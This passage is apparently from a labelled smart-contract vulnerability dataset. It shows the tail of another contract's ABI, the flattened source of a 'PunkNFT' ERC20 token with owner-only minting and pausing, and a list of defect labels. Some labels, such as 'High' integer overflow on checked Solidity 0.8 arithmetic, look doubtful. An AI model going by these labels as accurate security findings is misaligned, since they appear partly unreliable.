pe":"address","name":"user","type":"address"},{"indexed":true,"internalType":"uint256","name":"pid","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Withdraw","type":"event"},{"inputs":[],"name":"SHARK","outputs":[{"internalType":"contract SharkToken","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_allocPoint","type":"uint256"},{"internalType":"contract IERC20","name":"_lpToken","type":"address"},{"internalType":"bool","name":"_withUpdate","type":"bool"}],"name":"add","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"bonusEndBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_pid","type":"uint256"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"deposit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"devaddr","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_pid","type":"uint256"}],"name":"emergencyWithdraw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_from","type":"uint256"},{"internalType":"uint256","name":"_to","type":"uint256"}],"name":"getBlocksReward","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"massUpdatePools","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"nextReductionBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_pid","type":"uint256"},{"internalType":"address","name":"_user","type":"address"}],"name":"pendingReward","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"poolInfo","outputs":[{"internalType":"contract IERC20","name":"lpToken","type":"address"},{"internalType":"uint256","name":"allocPoint","type":"uint256"},{"internalType":"uint256","name":"lastRewardBlock","type":"uint256"},{"internalType":"uint256","name":"accRewardPerShare","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"poolLength","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"reductionBlockCount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"reductionPercent","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"rewardPerBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_pid","type":"uint256"},{"internalType":"uint256","name":"_allocPoint","type":"uint256"},{"internalType":"bool","name":"_withUpdate","type":"bool"}],"name":"set","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalAllocPoint","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_pid","type":"uint256"}],"name":"updatePool","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"address","name":"","type":"address"}],"name":"userInfo","outputs":[{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"uint256","name":"rewardDebt","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_pid","type":"uint256"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"}]
v0.6.2+commit.bacdbe57
false
200
0000000000000000000000005f56c26ed52614fd331c8291e09b437f1845d5580000000000000000000000000000000000000000000000006f05b59d3b2000000000000000000000000000000000000000000000000000000000000000a698f00000000000000000000000000000000000000000000000000000000000000007000000000000000000000000000000000000000000000000000000000000b1bc
Default
false
PunkNFT
0xfe395c16662b464879291d60f979bf8b7397524c
Solidity
// File: @openzeppelin/contracts/access/Ownable.sol // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/security/Pausable.sol // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor() { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC20.sol"; import "./extensions/IERC20Metadata.sol"; import "../../utils/Context.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC20.sol"; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // File: @openzeppelin/contracts/utils/Context.sol // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/utils/Strings.sol // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/structs/EnumerableSet.sol // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping(bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; if (lastIndex != toDeleteIndex) { bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex } // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { return set._values[index]; } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function _values(Set storage set) private view returns (bytes32[] memory) { return set._values; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(Bytes32Set storage set) internal view returns (bytes32[] memory) { return _values(set._inner); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(AddressSet storage set) internal view returns (address[] memory) { bytes32[] memory store = _values(set._inner); address[] memory result; assembly { result := store } return result; } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(UintSet storage set) internal view returns (uint256[] memory) { bytes32[] memory store = _values(set._inner); uint256[] memory result; assembly { result := store } return result; } } // File: /contracts/Airdrop.sol // SPDX-License-Identifier: MIT pragma solidity ^0.8.7; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; abstract contract Airdrop is ERC20, Ownable { function airdrop(address[] memory recipients, uint[] memory values) public onlyOwner { uint length = recipients.length; require(length >= 1 && values.length == length); for(uint i = 0 ; i < length; i++){ _transfer(_msgSender(), recipients[i], values[i]); } } } // File: /contracts/OwnableAccessControl.sol // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/structs/EnumerableSet.sol"; import "@openzeppelin/contracts/utils/Context.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; abstract contract OwnableAccessControl is Context, Ownable { event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); using EnumerableSet for EnumerableSet.AddressSet; mapping(bytes32 => mapping(address => bool)) private _roles; mapping(bytes32 => EnumerableSet.AddressSet) private _roleMembers; modifier onlyRole(bytes32 role) { _checkRole(role, _msgSender()); _; } function hasRole(bytes32 role, address account) public view returns (bool) { return _roles[role][account]; } function _checkRole(bytes32 role, address account) internal view { if (!hasRole(role, account)) { revert( string( abi.encodePacked( "AccessControl: account ", Strings.toHexString(uint160(account), 20), " is missing role ", Strings.toHexString(uint256(role), 32) ) ) ); } } function grantRole(bytes32 role, address account) public virtual onlyOwner { _grantRole(role, account); } function revokeRole(bytes32 role, address account) public virtual onlyOwner { _revokeRole(role, account); } function renounceRole(bytes32 role, address account) public virtual { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } function _grantRole(bytes32 role, address account) private { if (!hasRole(role, account)) { _roles[role][account] = true; emit RoleGranted(role, account, _msgSender()); _roleMembers[role].add(account); } } function _revokeRole(bytes32 role, address account) private { if (hasRole(role, account)) { _roles[role][account] = false; emit RoleRevoked(role, account, _msgSender()); _roleMembers[role].remove(account); } } function getRoleMembers(bytes32 role) public view returns (address[] memory) { return _roleMembers[role].values(); } function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } } // File: /contracts/PunkNFT.sol // SPDX-License-Identifier: MIT pragma solidity ^0.8.7; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/Pausable.sol"; import "./OwnableAccessControl.sol"; import "./Airdrop.sol"; contract PunkNFT is ERC20, Ownable, OwnableAccessControl, Pausable, Airdrop { bytes32 public constant TRANSFERABLE = keccak256("TRANSFERABLE"); constructor(string memory name, string memory symbol, uint supply, address owner) ERC20(name, symbol) { _mint(owner, supply); transferOwnership(owner); _setupRole(TRANSFERABLE, owner); } function mint(address account, uint amount) public onlyOwner { _mint(account, amount); } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual override { super._beforeTokenTransfer(from, to, amount); require(!paused() || hasRole(TRANSFERABLE, from), "ERC20: token transfer while paused"); } function pause() public onlyOwner { _pause(); } function unpause() public onlyOwner { _unpause(); } }
[{"defect": "Nest_Call", "type": "Business_logic", "severity": "High", "lines": ["1124"]}, {"defect": "Unused_state_variable", "type": "Code_specification", "severity": "Low", "lines": ["1026", "71", "702", "724", "1099"]}, {"defect": "Exceed_authority_access", "type": "Access_control", "severity": "Medium", "lines": ["35", "61", "50"]}, {"defect": "Integer_overflow_and_underflow", "type": "Code_specification", "severity": "High", "lines": ["459", "431", "457", "432", "408", "410"]}]
